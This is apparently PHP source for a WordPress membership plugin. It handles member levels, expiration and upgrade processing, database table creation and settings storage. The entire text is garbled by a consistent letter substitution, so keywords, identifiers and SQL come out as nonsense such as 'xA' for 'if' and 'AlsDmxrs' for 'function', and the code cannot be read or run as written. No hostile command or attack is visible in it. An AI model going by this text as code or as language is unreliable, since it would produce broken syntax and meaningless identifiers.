BimoFDm(SkFon=sluu) { SlnBosFtB = QplrmUQplrmUU SAxonmsFtB = QplrmUQplrmUU SuFnmsFtB = QplrmUQplrmUU SBtFxu = QplrmUQplrmUU SqFnnjroCO = QplrmUQplrmUU SqFnnjroCN = QplrmUQplrmUU xA (SkFon == sluu) { SkFon = S_01$#U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])) { SlnBosFtB = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_AxonmsFtBQplrmU])) { SAxonmsFtB = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_AxonmsFtBQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_uFnmsFtBQplrmU])) { SuFnmsFtB = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_uFnmsFtBQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_BtFxuQplrmU])) { SBtFxu = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_BtFxuQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_qFnnjroCOQplrmU])) { SqFnnjroCO = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_qFnnjroCOQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_qFnnjroCNQplrmU])) { SqFnnjroCN = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_qFnnjroCNQplrmU])U } xA (SqFnnjroCO == QplrmUQplrmU) { SqFnnjroCO = 3BtEBo9Bsxln::zBsBoFmB()U SqFnnjroCN = SqFnnjroCOU } oBmlos FooFh( QplrmUlnBosFtBQplrmU =QzmU moxt(SlnBosFtB), QplrmUAxonmsFtBQplrmU =QzmU moxt(SAxonmsFtB), QplrmUuFnmsFtBQplrmU =QzmU moxt(SuFnmsFtB), QplrmUBtFxuQplrmU =QzmU moxt(SBtFxu), QplrmUqFnnjroCOQplrmU =QzmU moxt(SqFnnjroCO), QplrmUqFnnjroCNQplrmU =QzmU moxt(SqFnnjroCN) )U } } DuFnn 3BtEBo9Bsxln3rCBu { qoxkFmB SuBkBu#FEuBU qoxkFmB SuBkBu$Bmmxszn#FEuBU qoxkFmB SlnBo#FEuBU qoxkFmB SDrsmBsm#FEuBU qoxkFmB SnBmmxszn#FEuBU qoxkFmB SmBtq#FEuBU AlsDmxrs __DrsnmolDm() { zurEFu SjqCEU SqoBAxi = SjqCE-QzmUqoBAxi . QplrmUtBtEBozBsxln_QplrmUU Smyxn-QzmUuBkBu#FEuB = SqoBAxi.QplrmUuBkBunQplrmUU Smyxn-QzmUuBkBu$Bmmxszn#FEuB = SqoBAxi.QplrmUuBkBu_nBmmxsznQplrmUU Smyxn-QzmUlnBo#FEuB = SqoBAxi.QplrmUlnBonQplrmUU Smyxn-QzmUlnBo$Bmmxszn#FEuB = SqoBAxi.QplrmUlnBo_nBmmxsznQplrmUU Smyxn-QzmUDrsmBsm#FEuB = SqoBAxi.QplrmUDrsmBsmQplrmUU Smyxn-QzmUnBmmxszn#FEuB = SqoBAxi.QplrmUnBmmxsznQplrmUU Smyxn-QzmUmBtq#FEuB = SqoBAxi.QplrmUmBtqnQplrmUU FCC_FDmxrs( QTPMGUqoB_lnBo_plBohQTPMGU, FooFh(QFtqUSmyxn, QplrmUqoB;nBo&lBohQplrmU))U FCC_FDmxrs( QTPMGUEBAroB_CBuBmB_qrnmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUrscBuBmB0rnmQTPMGU))U FCC_FDmxrs( QTPMGUCBuBmB_lnBoQTPMGU, FooFh(QFtqUSmyxn, QTPMGUrscBuBmB;nBoQTPMGU))U xA (VSmyxn-QzmUnBmmxsz(QplrmUzBsBoxD_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUzBsBoxD_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU, oFsC(OPPPPPPP, GGGGGGGG))U } xA (VSmyxn-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU, Smyxn-QzmUyFny(OJ))U } xA (Smyxn-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU) === sluu) { Smyxn-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, O)U } xA (Smyxn-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU) === sluu) { Smyxn-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, O)U } FCC_FDmxrs( QTPMGUtBtEBozBsxln_qorDBnnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorDBnnQTPMGU))U FCC_FDmxrs( QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QplrmUnBmlq$DyBCluBQplrmU))U } AlsDmxrs DuBFslq() { xA (Smyxn-QzmUDrlsm4BkBun() == P) { Smyxn-QzmUDoBFmB4BkBu(QplrmUaluuQplrmU, molB)U } } qlEuxD AlsDmxrs nBmlq$DyBCluB() { xA (Vjq_sBim_nDyBCluBC(QTPMGUtBtEBozBsxln_qorDBnnQTPMGU)) { jq_nDyBCluB_BkBsm(mxtB(), QTPMGUyrlouhQTPMGU, QTPMGUtBtEBozBsxln_qorDBnnQTPMGU)U } } qlEuxD AlsDmxrs qorDBnn(Ssrj=sluu) { xA (Ssrj == sluu) { Ssrj = mxtB()U } Smyxn-QzmUqorDBnnbiqxoFmxrs(Ssrj)U Smyxn-QzmUqorDBnn;qzoFCB(Ssrj)U } qlEuxD AlsDmxrs qorDBnn;qzoFCB(Ssrj=sluu, SlnBo=sluu) { xA (Ssrj == sluu) { Ssrj = mxtB()U } nBm_mxtB_uxtxm(P)U xzsroB_lnBo_FErom(molB)U SuBkBu7sAr = FooFh()U SuBkBun = Smyxn-QzmUzBm4BkBun()U AroBFDy (SuBkBun Fn SuBkBu) { SCBuFh = @xsmkFu(Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCBuFhQplrmU))U SCFmBcBuFh = @xsmkFu(Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCFmBcBuFhQplrmU))U SlqzoFCB = sluuU xA (SFCC = Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUFCCQplrmU)) { StBmyrC = QplrmUFCCQplrmUU SlqzoFCB = SFCCU } xA (StrkB = Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUtrkBQplrmU)) { StBmyrC = QplrmUtrkBQplrmUU SlqzoFCB = StrkBU } SBiqxoFmxrs = SuBkBu-QzmUuBkBu_BiqxoFmxrsU SuBkBu7sAr[SuBkBu-QzmU7c] = FooFh( QplrmUFCCQplrmU =QzmU SFCC, QplrmUtrkBQplrmU =QzmU StrkB, QplrmUBiqxoFmxrsQplrmU =QzmU SBiqxoFmxrs, QplrmUlqzoFCBQplrmU =QzmU SlqzoFCB, QplrmUCBuFhQplrmU =QzmU SCBuFh, QplrmUCFmBcBuFhQplrmU =QzmU SCFmBcBuFh )U } xA (SlnBo) { StBtEBon = FooFh(SlnBo)U } BunB { StBtEBon = Smyxn-QzmUzBm3BtEBon(QplrmUDors=SsrjQplrmU)U } AroBFDy (StBtEBon Fn StBtEBo) { xA (xn_sltBoxD(StBtEBo)) { StBtEBo7c = StBtEBoU } BunBxA (xnnBm(StBtEBo-QzmU7c)) { StBtEBo7c = StBtEBo-QzmU7cU } BunB { DrsmxslBU } SlnBo4BkBun = Smyxn-QzmUzBm4BkBu7sAr(StBtEBo7c)U AroBFDy (SlnBo4BkBun Fn SuBkBu7c =QzmU SuBkBu) { xA (SuBkBu-QzmUuBkBu_nmFmln V= QplrmUfQplrmU) { DrsmxslBU } SCFhn1s4BkBu = PU SBiqxoFmxrs = SuBkBu7sAr[SuBkBu7c][QplrmUBiqxoFmxrsQplrmU]U SlqzoFCB = SuBkBu7sAr[SuBkBu7c][QplrmUlqzoFCBQplrmU]U SCBuFh = SuBkBu7sAr[SuBkBu7c][QplrmUCBuFhQplrmU]U SCFmBcBuFh = SuBkBu7sAr[SuBkBu7c][QplrmUCFmBcBuFhQplrmU]U SFCC = SuBkBu7sAr[SuBkBu7c][QplrmUFCCQplrmU]U StrkB = SuBkBu7sAr[SuBkBu7c][QplrmUtrkBQplrmU]U xA (SBiqxoFmxrs || SFCC || StrkB) { SCFhn1s4BkBu = Smyxn-QzmUzBmcFhn1s4BkBu(StBtEBo7c, SuBkBu7c, Ssrj)U } xA (SuBkBu7sAr[SuBkBu7c][QplrmUFCCQplrmU]) { SFCC = SuBkBu7sAr[SuBkBu7c][QplrmUFCCQplrmU]U } BunBxA (SuBkBu7sAr[SuBkBu7c][QplrmUtrkBQplrmU]) { StrkB = SuBkBu7sAr[SuBkBu7c][QplrmUtrkBQplrmU]U } xA (SBiqxoFmxrs QFtqUQFtqU SBiqxoFmxrs == SCFhn1s4BkBu) { Smyxn-QzmUDFsDBu(StBtEBo7c, SuBkBu7c)U } xA (SFCC) { xA (SCFmBcBuFh) { xA (SCFmB1AAnBm - SCFmBcBuFh QumU HJLPP) { Smyxn-QzmUFCC(StBtEBo7c, SFCC, SuBkBu-QzmUuBkBu_mis, SCFmBcBuFh)U } } BunBxA (SCBuFh == SCFhn1s4BkBu) { Smyxn-QzmUFCC(StBtEBo7c, SFCC, SuBkBu-QzmUuBkBu_mis, Ssrj)U } } BunBxA (StrkB) { xA (SCBuFh == SCFhn1s4BkBu) { Smyxn-QzmUtrkB(StBtEBo7c, StrkB)U } } } Smyxn-QzmUlnBo$Bmmxsz(StBtEBo7c, QplrmUDors4FnmQplrmU, Ssrj)U } } qlEuxD AlsDmxrs qorDBnnbiqxoFmxrs(Ssrj=sluu) { xA (Ssrj == sluu) { Ssrj = mxtB()U } nBm_mxtB_uxtxm(P)U xzsroB_lnBo_FErom(molB)U SuBkBun = Smyxn-QzmUzBm4BkBun()U AroBFDy (SuBkBun Fn SuBkBu) { xA (SuBkBu-QzmUuBkBu_BiqxoFmxrs == P) { DrsmxslBU } SBiqxoBCcFh = Ssrj - (SuBkBu-QzmUuBkBu_BiqxoFmxrs * HJLPP)U SCFmB FszB = HJLPP-OHPPU SCFmB$mFom = SBiqxoBCcFh - SCFmB FszBU SCFmBbsC = SBiqxoBCcFhU StBtEBon = Smyxn-QzmUzBm3BtEBon(QplrmUuBkBu=QplrmU.SuBkBu-QzmU7c.QplrmUQFtqUuBkBu_nmFmln=fQFtqUuBkBu_FAmBo=QplrmU.SCFmB$mFom.QplrmUQFtqUuBkBu_EBAroB=QplrmU.SCFmBbsC)U AroBFDy (StBtEBon Fn StBtEBo) { SuFnm ls = @xsmkFu(Smyxn-QzmUlnBo$Bmmxsz(StBtEBo-QzmU7c, QplrmUuFnm_BiqxoFmxrsQplrmU))U xA (SuFnm ls QumU Ssrj QFtqUQFtqU Ssrj-SuFnm ls QumU HJLPP) { DrsmxslBU } Smyxn-QzmUlnBo$Bmmxsz(StBtEBo-QzmU7c, QplrmUuFnm_BiqxoFmxrsQplrmU, Ssrj)U Smyxn-QzmUDFsDBu(StBtEBo-QzmU7c, StBtEBo-QzmUuBkBu_xC)U } } } qlEuxD AlsDmxrs nxzslq; 4(SyFny=QplrmUQplrmU, SBnDFqBC=AFunB) { xA (SBnDFqBC) { oBmlos nxmB_lou(QplrmUWQplrmU.louBsDrCB(QplrmU/zBsxln/QplrmU).SyFny)U } oBmlos nxmB_lou(QplrmUxsCBi.qyqW/zBsxln/QplrmU.SyFny)U } qlEuxD AlsDmxrs yFny(SuBszmy=J) { SDruuxnxrs = molBU jyxuB (SDruuxnxrs) { SCxDmxrsFoh = FooFh_tBozB(oFszB(QTPMGUPQTPMGU,QTPMGUGQTPMGU),oFszB(QTPMGUFQTPMGU,QTPMGUgQTPMGU),oFszB(QTPMGUfQTPMGU,QTPMGU<QTPMGU))U xA (Vxn_xsm(SuBszmy) || @xsmkFu(SuBszmy) QumU J) { SuBszmy = JU } SoBnlum = QplrmUQplrmUU Aro (Sx=PUSxQumUSuBszmyUSx++) { SoBnlum .= SCxDmxrsFoh[FooFh_oFsC(SCxDmxrsFoh)]U } SDruuxnxrs = Smyxn-QzmUyFnydruuxnxrs(SoBnlum)U } oBmlos SoBnlumU } qoxkFmB AlsDmxrs yFnydruuxnxrs(SyFny) { SqFhtBsm = Smyxn-QzmUzBm0FhtBsmaort8Fny(SyFny)U SuBkBu = Smyxn-QzmUzBm4BkBuaort8Fny(SyFny)U xA (SqFhtBsm || SuBkBu) { oBmlos molBU } oBmlos AFunBU } qlEuxD AlsDmxrs nvl() { SDruuxnxrs = molBU jyxuB (SDruuxnxrs) { Snvl = oFsC(OPPPPPPPPP, OGGGGGGGGG)U SDruuxnxrs = Smyxn-QzmUnvldruuxnxrs(Snvl)U } oBmlos SnvlU } qoxkFmB AlsDmxrs nvldruuxnxrs(Snvl) { oBmlos Smyxn-QzmUzBm4BkBu(Snvl)U } AlsDmxrs lsxsnmFuu() { xA (VAlsDmxrs_Bixnmn(QplrmUjq_CBuBmB_qrnmQplrmU)) { oBmlosU } xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { jq_CBuBmB_qrnm(SquFDByruCBo-QzmU7c)U } } AlsDmxrs zBm0ulzxs!Bonxrs() { Squlzxs_AruCBo = @zBm_qulzxsn( QTPMGU/QTPMGU . qulzxs_EFnBsFtB( CxosFtB( __a74b__ ) ) )U Squlzxs_AxuB = EFnBsFtB( ( __a74b__ ) )U Squlzxs_kBonxrs = Squlzxs_AruCBo[Squlzxs_AxuB][QTPMGU!BonxrsQTPMGU]U oBmlos Squlzxs_kBonxrsU } AlsDmxrs tFhEB7snmFuu() { xA (Smyxn-QzmUzBm0ulzxs!Bonxrs() V= Smyxn-QzmUnBmmxsz(QplrmUkBonxrsQplrmU)) { Smyxn-QzmUxsnmFuu()U } } AlsDmxrs xsnmFuu() { zurEFu SjqCEU oBplxoB_rsDB(DrsnmFsm(QplrmUfe$0f#8QplrmU) . QTPMGUjq-FCtxs/xsDulCBn/lqzoFCB.qyqQTPMGU)U xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUuBkBu#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUuBkBu#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `uBkBu_sFtB` kFoDyFo(JL) 21# 2;44, `uBkBu_yFny` kFoDyFo(J) 21# 2;44, `uBkBu_Fuu` #72QplrmU.Dyo(HG).QplrmU72#(O) 21# 2;44 cbaf;4# QTPMGUOQTPMGU, `uBkBu_DrttBsmn` mxshxsm(O) 21# 2;44 cbaf;4# QTPMGUOQTPMGU, `uBkBu_qFzB_oBzxnmBo` xsm(OO) cbaf;4# 2;44, `uBkBu_qFzB_urzxs` xsm(OO) cbaf;4# 2;44, `uBkBu_BiqxoFmxrs` xsm(OO) cbaf;4# 2;44, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `uBkBu_yFny` (`uBkBu_yFny`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `uBkBu_sFtB` (`uBkBu_sFtB`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_BiqxoFmxrs` (`uBkBu_BiqxoFmxrs`)) cbaf;4# d8f $b#=lmAHUQplrmU)U Smyxn-QzmUDuBFslq()U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUuBkBu$Bmmxszn#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUuBkBu$Bmmxszn#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `uBkBu_xC` xsm(OO) 21# 2;44, `uBkBu_vBh` !f d8f (NKK) 21# 2;44, `uBkBu_kFulB` #b>#, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `uBkBu_vBh` (`uBkBu_xC`,`uBkBu_vBh`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_xC` (`uBkBu_xC`)) cbaf;4# d8f $b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUlnBo#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUlnBo#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `lnBo_xC` xsm(OO) 21# 2;44, `uBkBu_xC` xsm(OO) 21# 2;44, `uBkBu_nmFmln` DyFo(O) 21# 2;44 cbaf;4# QTPMGUfQTPMGU, `uBkBu_mis` kFoDyFo(JL) cbaf;4# 2;44, `uBkBu_nlEnDoxEBC` mxshxsm(O) 21# 2;44 cbaf;4# QTPMGUPQTPMGU, `uBkBu_CFmB` CFmBmxtB cbaf;4# 2;44, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `lnBouBkBu_xC` (`lnBo_xC`,`uBkBu_xC`), 5bQplrmU.Dyo(HG).QplrmU `lnBo_xC` (`lnBo_xC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_xC` (`uBkBu_xC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_nmFmln` (`uBkBu_nmFmln`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_mis` (`uBkBu_mis`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_nlEnDoxEBC` (`uBkBu_nlEnDoxEBC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_CFmB` (`uBkBu_CFmB`)) cbaf;4# d8f $b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUlnBo$Bmmxszn#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUlnBo$Bmmxszn#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `lnBo_xC` xsm(OO) 21# 2;44, `lnBo_vBh` !f d8f (NKK) 21# 2;44, `lnBo_kFulB` #b>#, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `lnBo_vBh` (`lnBo_xC`,`lnBo_vBh`), 5bQplrmU.Dyo(HG).QplrmU `lnBo_xC` (`lnBo_xC`), a;44#b># 5bQplrmU.Dyo(HG).QplrmU `lnBo_kFulB` (`lnBo_kFulB`)) cbaf;4# d8f $b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUDrsmBsm#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUDrsmBsm#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `uBkBu_xC` xsm(OO) 21# 2;44, `qrnm_xC` xsm(OO) 21# 2;44, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `qrnmuBkBu_xC` (`uBkBu_xC`,`qrnm_xC`), 5bQplrmU.Dyo(HG).QplrmU `qrnm_xC` (`qrnm_xC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_xC` (`uBkBu_xC`)) cbaf;4# d8f $b#=lmAHUQplrmU)U Smyxn-QzmUqormBDmfuu0rnmn()U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUnBmmxszn#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUnBmmxszn#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `rqmxrs_sFtB` kFoDyFo(JL) 21# 2;44, `rqmxrs_kFulB` urszmBim 21# 2;44, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `rqmxrs_sFtB` (`rqmxrs_sFtB`)) cbaf;4# d8f $b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUmBtq#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUmBtq#FEuB) { CEcBumF(QplrmUd bf#b #fe4b 7a 21# b>7$#$ QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU (`7c` xsm(OO) 21# 2;44 f;#1_72d b3b2#, `mis_xC` kFoDyFo(JL) 21# 2;44, `uBkBu_xC` xsm(OO) 21# 2;44 cbaf;4# QTPMGUPQTPMGU, `uBkBu_nmFmln` DyFo(O) 21# 2;44 cbaf;4# QTPMGUfQTPMGU, `mBtq_tBmFCFmF` urszmBim , `mBtq_DoBFmBC` mxtBnmFtq 21# 2;44 cbaf;4# d; b2#_#73b$#f30, 0 73f QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `mis_xC` (`mis_xC`), 5bQplrmU.Dyo(HG).QplrmU `DoBFmBC` (`mBtq_DoBFmBC`)) cbaf;4# d8f $b#=lmAHUQplrmU)U } Smyxn-QzmUnBmmxsz(QplrmUkBonxrsQplrmU, Smyxn-QzmUzBm0ulzxs!Bonxrs())U } qlEuxD AlsDmxrs nBmmxsz() { zurEFu SjqCEU zurEFu StBtEBozBsxlnU Suxnm = sluuU SkFulB = sluuU SFozn = AlsD_zBm_Fozn()U xA (Drlsm(SFozn) QzmU= N) { @uxnm(SsFtB, SkFulB) = SFoznU } BunB { @uxnm(SsFtB) = SFoznU } xA (Vxn_FooFh(SFozn) || Drlsm(SFozn) == P) { oBmlosU } SoBmlos = sluuU xA (Drlsm(SFozn) == O) { SsFtB = oBnBm(SFozn)U SoBmlos = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# rqmxrs_kFulB a 13 QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU ?8b b rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(SsFtB).QplrmUQTPMGUQplrmU)U xA (xn_nBoxFuxgBC(SoBmlos)) { StFhEB;snBoxFuxgB = @lsnBoxFuxgB(SoBmlos)U } BunB { StFhEB;snBoxFuxgB = SoBmlosU } oBmlos StFhEB;snBoxFuxgBU } BunBxA (Drlsm(SFozn) QzmU O QFtqUQFtqU SkFulB === sluu) { 3BtEBo9Bsxln::DuBFodFDyB()U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU ?8b b rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(SsFtB).QplrmUQTPMGUQplrmU)U } BunB { 3BtEBo9Bsxln::DuBFodFDyB()U xA (xn_FooFh(SkFulB) || xn_rEwBDm(SkFulB)) { SkFulB = nBoxFuxgB(SkFulB)U } SjqCE-QzmUplBoh(QplrmU72$b # 7921 b 72#1 QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU $b# rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(SsFtB).QplrmUQTPMGU, rqmxrs_kFulB=QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SkFulB)).QplrmUQTPMGUQplrmU)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU $b# rqmxrs_kFulB=QTPMGUQplrmU.BnD_npu(SkFulB).QplrmUQTPMGU ?8b b rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SsFtB)).QplrmUQTPMGUQplrmU)U SoBmlos = SkFulBU } xA (SoBmlos == sluu QFtqUQFtqU SkFulB == sluu) { xA (SsFtB == QplrmUroCBoQplrmU) { oBmlos QplrmUCBnDBsCxszQplrmUU } } oBmlos SoBmlosU } qlEuxD AlsDmxrs uBkBu$Bmmxsz() { zurEFu SjqCEU zurEFu StBtEBozBsxlnU Suxnm = sluuU SkFulB = sluuU SFozn = AlsD_zBm_Fozn()U @uxnm(SuBkBu7c, SuBkBu5Bh, SuBkBu!FulB) = SFoznU xA (Vxn_FooFh(SFozn) || Drlsm(SFozn) == P) { oBmlosU } SoBmlos = sluuU xA (Drlsm(SFozn) == O) { SoBmlos = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_vBh, uBkBu_kFulB a 13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB .QplrmU ?8b b uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c))U xA (VSoBmlos) { oBmlos FooFh()U } SoBnlumn = FooFh()U AroBFDy (SoBmlos Fn Sorj) { SvBh = Sorj[QplrmUuBkBu_vBhQplrmU]U SkFulB = Sorj[QplrmUuBkBu_kFulBQplrmU]U SoBnlumn[SvBh] = SkFulBU } oBmlos SoBnlumnU } xA (Drlsm(SFozn) == N) { SoBmlos = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# uBkBu_kFulB a 13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB .QplrmU ?8b b uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c). QplrmU f2c uBkBu_vBh = QTPMGUQplrmU.BnD_npu(SuBkBu5Bh).QplrmUQTPMGUQplrmU)U xA (SoBmlos == nBoxFuxgB(AFunB) || @lsnBoxFuxgB(SoBmlos) V== AFunB) { StFhEB;snBoxFuxgB = @lsnBoxFuxgB(SoBmlos)U } BunB { StFhEB;snBoxFuxgB = SoBmlosU } oBmlos nmoxqnuFnyBn(StFhEB;snBoxFuxgB)U } BunBxA (Drlsm(SFozn) == M QFtqUQFtqU SuBkBu!FulB === sluu) { 3BtEBo9Bsxln::DuBFodFDyB()U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU ?8b b uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c).QplrmU f2c uBkBu_vBh = QTPMGUQplrmU.BnD_npu(SuBkBu5Bh).QplrmUQTPMGUQplrmU)U } BunB { 3BtEBo9Bsxln::DuBFodFDyB()U xA (xn_FooFh(SkFulB) || xn_rEwBDm(SkFulB)) { SkFulB = nBoxFuxgB(SkFulB)U } SjqCE-QzmUplBoh(QplrmU72$b # 7921 b 72#1 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU $b# uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c).QplrmU, uBkBu_vBh = QTPMGUQplrmU.BnD_npu(SuBkBu5Bh).QplrmUQTPMGU, uBkBu_kFulB=QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SuBkBu!FulB)).QplrmUQTPMGUQplrmU)U SjqCE-QzmUplBoh(QplrmU;0cf#b 7921 b QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU $b# uBkBu_xC=QplrmU.xsmkFu(SuBkBu7c).QplrmU, uBkBu_kFulB = QTPMGUQplrmU.BnD_npu(SuBkBu!FulB).QplrmUQTPMGU ?8b b uBkBu_vBh = 